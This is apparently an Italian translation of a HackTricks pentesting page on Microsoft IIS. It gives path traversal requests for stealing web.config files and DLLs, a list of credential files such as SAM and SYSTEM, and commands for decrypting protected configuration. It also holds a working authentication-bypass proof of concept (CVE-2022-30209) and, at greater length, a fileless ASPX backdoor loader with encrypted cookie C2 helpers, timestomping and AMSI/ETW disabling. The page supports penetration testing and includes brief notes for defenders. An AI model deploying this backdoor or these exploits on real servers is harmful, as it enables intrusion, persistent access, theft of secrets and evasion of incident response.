IIS - Internet Information Services

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Estensioni di file eseguibili da testare:

  • asp
  • aspx
  • config
  • php

Divulgazione dell’indirizzo IP interno

Su qualsiasi server IIS in cui ottieni un 302 puoi provare a rimuovere l’Host header e usare HTTP/1.0 e nella risposta l’header Location potrebbe puntare all’indirizzo IP interno:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Risposta che rivela l’indirizzo IP interno:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Eseguire file .config

Puoi caricare file .config e usarli per eseguire codice. Un modo per farlo è aggiungere il codice alla fine del file all’interno di un commento HTML: Download example here

Ulteriori informazioni e tecniche per sfruttare questa vulnerabilitĂ  here

IIS Discovery Bruteforce

Scarica la lista che ho creato:

È stata creata unendo i contenuti delle seguenti liste:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Usala senza aggiungere estensione, i file che la richiedono ce l’hanno già.

Path Traversal

Leaking source code

Consulta il writeup completo in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

Come riassunto, ci sono diversi file web.config all’interno delle cartelle dell’applicazione con riferimenti a “assemblyIdentity” files e “namespaces”. Con queste informazioni è possibile sapere where are executables located e scaricarli.
Dai downloaded Dlls è anche possibile trovare new namespaces dove dovresti provare ad accedere e ottenere il file web.config al fine di trovare nuovi namespaces e assemblyIdentity.
Inoltre, i file connectionstrings.config e global.asax possono contenere informazioni interessanti.

Nelle applicazioni .Net MVC, il file web.config gioca un ruolo cruciale specificando ogni file binario su cui l’applicazione si basa tramite i tag XML “assemblyIdentity”.

Esplorazione dei file binari

Un esempio di accesso al file web.config è mostrato di seguito:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Questa richiesta rivela varie impostazioni e dipendenze, come:

  • EntityFramework versione
  • AppSettings per webpages, client validation e JavaScript
  • System.web configurazioni per l’autenticazione e il runtime
  • impostazioni dei moduli System.webServer
  • binding degli assembly Runtime per numerose librerie come Microsoft.Owin, Newtonsoft.Json e System.Web.Mvc

Queste impostazioni indicano che alcuni file, come /bin/WebGrease.dll, si trovano all’interno della cartella /bin dell’applicazione.

File nella directory root

I file presenti nella directory root, come /global.asax e /connectionstrings.config (che contiene password sensibili), sono essenziali per la configurazione e il funzionamento dell’applicazione.

Namespace e web.config

Le applicazioni MVC definiscono anche ulteriori web.config files per namespace specifici per evitare dichiarazioni ripetute in ogni file, come dimostrato da una richiesta per scaricare un altro web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Scaricamento DLL

La menzione di un namespace personalizzato suggerisce una DLL chiamata “WebApplication1” presente nella directory /bin. A seguire, viene mostrata una richiesta per scaricare la WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Questo suggerisce la presenza di altre DLL essenziali, come System.Web.Mvc.dll e System.Web.Optimization.dll, nella directory /bin.

In uno scenario in cui una DLL importa un namespace chiamato WebApplication1.Areas.Minded, un attacker potrebbe dedurre l’esistenza di altri file web.config in percorsi prevedibili, come /area-name/Views/, contenenti configurazioni specifiche e riferimenti ad altre DLL nella cartella /bin. Ad esempio, una richiesta a /Minded/Views/web.config può rivelare configurazioni e namespace che indicano la presenza di un’altra DLL, WebApplication1.AdditionalFeatures.dll.

File comuni

Da qui

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 Errore 404

Se vedi un errore come il seguente:

Significa che il server non ha ricevuto il nome di dominio corretto nell’Host header.
Per accedere alla pagina web puoi dare un’occhiata al SSL Certificate servito e magari trovi il nome del dominio/sottodominio lì. Se non è presente, potrebbe essere necessario fare brute force VHosts finché non trovi quello corretto.

Decifrare la configurazione criptata e i key ring di ASP.NET Core Data Protection

Due pattern comuni per proteggere i segreti nelle app .NET ospitate su IIS sono:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) per sezioni web.config come .
  • ASP.NET Core Data Protection key ring (persisted locally) usato per proteggere i segreti dell’applicazione e i cookie.

Se hai accesso al filesystem o accesso interattivo sul web server, chiavi presenti nello stesso sistema spesso permettono la decifratura.

  • ASP.NET (Full Framework) – decriptare le sezioni di config protette con aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – cerca i Data Protection key rings memorizzati localmente (file XML/JSON) in posizioni come:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Con il key ring disponibile, un operatore che esegue con l’identità dell’app può istanziare un IDataProtector con gli stessi purposes e unprotectare i segreti memorizzati. Malconfigurazioni che archiviano il key ring insieme ai file dell’app rendono la decrittazione offline banale una volta compromesso l’host.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Il toolkit Phantom Taurus/NET-STAR mostra un pattern maturo per la persistenza fileless su IIS e il post‑exploitation interamente dentro w3wp.exe. Le idee principali sono ampiamente riutilizzabili per tradecraft personalizzato e per detection/hunting.

Componenti chiave

  • ASPX bootstrapper hosting an embedded payload: una singola pagina .aspx (es. OutlookEN.aspx) contiene una .NET DLL codificata in Base64 e opzionalmente compressa con Gzip. Al trigger di una richiesta la decodifica, la decomprime, la carica riflessivamente nell’AppDomain corrente e invoca il punto d’ingresso principale (es. ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: task/risultati sono avvolti con Gzip → AES‑ECB/PKCS7 → Base64 e trasmessi tramite richieste apparentemente legittime, ricche di cookie; gli operatori usavano delimitatori stabili (es. “STAR”) per il chunking.
  • Reflective .NET execution: accetta assembly managed arbitrari in Base64, li carica tramite Assembly.Load(byte[]) e passa argomenti dell’operatore per rapidi swap di moduli senza toccare il disco.
  • Operating in precompiled ASP.NET sites: aggiungere/gestire shell/backdoor ausiliarie anche quando il sito è precompilato (es. il dropper aggiunge pagine/handler dinamici o sfrutta config handlers) – esposto tramite comandi come bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: espone un’azione changeLastModified e applica timestomp al deployment (inclusi timestamp di compilazione futuri) per ostacolare la DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: un loader di seconda fase può disabilitare AMSI e ETW prima di chiamare Assembly.Load per ridurre l’ispezione dei payload in‑memory.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Helper di packing/crypto (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session flow and command surface

  • Il bootstrap della session e il tasking vengono trasmessi tramite cookies per mimetizzarsi con l’attivitĂ  web normale.
  • I comandi osservati sul campo includevano: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; e primitive di esecuzione dinamica code_self, code_pid, run_code per l’esecuzione .NET in memoria.

Timestomping utility

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Disabilitazione inline di AMSI/ETW prima di Assembly.Load (variante loader)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Vedi le tecniche di bypass AMSI/ETW in: windows-hardening/av-bypass.md

Appunti per l’hunting (difensori)

  • Singola pagina ASPX insolita con lunghi blob Base64/Gzip; post che richiedono molti cookie.
  • Managed modules non supportati dentro w3wp.exe; stringhe come Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Delimitatori ripetuti come “STAR” nel traffico; timestamp discordanti o addirittura futuri su ASPX/assemblies.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Molte app ASP.NET includono Telerik UI for ASP.NET AJAX ed espongono l’handler non autenticato Telerik.Web.UI.WebResource.axd. Quando l’endpoint della cache Image Editor è raggiungibile (type=iec), i parametri dkey=1 e prtype abilitano unsafe reflection che esegue qualsiasi costruttore pubblico senza parametri pre‑auth. Questo fornisce una primitive universale di DoS e può scalare a pre‑auth RCE su app con handler AppDomain.AssemblyResolve insicuri.

Vedi tecniche dettagliate e PoC qui:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Vecchie vulnerabilitĂ  di IIS da cercare

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Puoi provare a enumerare cartelle e file all’interno di ogni cartella scoperta (anche se richiede Basic Authentication) usando questa tecnica.
La principale limitazione di questa tecnica, se il server è vulnerabile, è che può trovare solo fino alle prime 6 lettere del nome di ogni file/cartella e le prime 3 lettere dell’estensione dei file.

Puoi usare https://github.com/irsdl/IIS-ShortName-Scanner per testare questa vulnerabilitĂ :java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Ricerca originale: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Puoi anche usare metasploit: use scanner/http/iis_shortname_scanner

Un’idea utile per trovare il nome finale dei file scoperti è chiedere agli LLMs opzioni come fatto nello script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Bypass di una basic authentication (IIS 7.5) provando ad accedere a: /admin:$i30:$INDEX_ALLOCATION/admin.php o /admin::$INDEX_ALLOCATION/admin.php

Puoi provare a combinare questa vulnerabilità con quella precedente per trovare nuove cartelle e bypassare l’autenticazione.

ASP.NET Trace.AXD enabled debugging

ASP.NET include una modalità di debugging il cui file è chiamato trace.axd.

Tiene un log molto dettagliato di tutte le richieste fatte a un’applicazione in un determinato periodo di tempo.

Queste informazioni includono gli IP remoti dei client, gli ID di sessione, tutti i cookie delle richieste e delle risposte, percorsi fisici, informazioni sul codice sorgente e potenzialmente anche username e password.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH usa le seguenti informazioni:

  • validationKey (string): chiave codificata in hex usata per la validazione della signature.
  • decryptionMethod (string): (default “AES”).
  • decryptionIV (string): vettore di inizializzazione codificato in hex (di default un vettore di zeri).
  • decryptionKey (string): chiave codificata in hex usata per la decryption.

Tuttavia, alcune persone useranno i valori di default di questi parametri e utilizzeranno come cookie l’email dell’utente. Pertanto, se riesci a trovare un sito che usa la stessa piattaforma che utilizza il cookie ASPXAUTH e crei un utente con l’email dell’utente che vuoi impersonare sul server secondario, potresti essere in grado di usare il cookie dal secondo server sul primo e impersonare l’utente.
Questo attacco ha funzionato in questo writeup.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: Un bug nel codice non controllava correttamente la password fornita dall’utente, quindi un attaccante la cui password hash mappa su una chiave già presente nella cache sarà in grado di autenticarsi come quell’utente.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks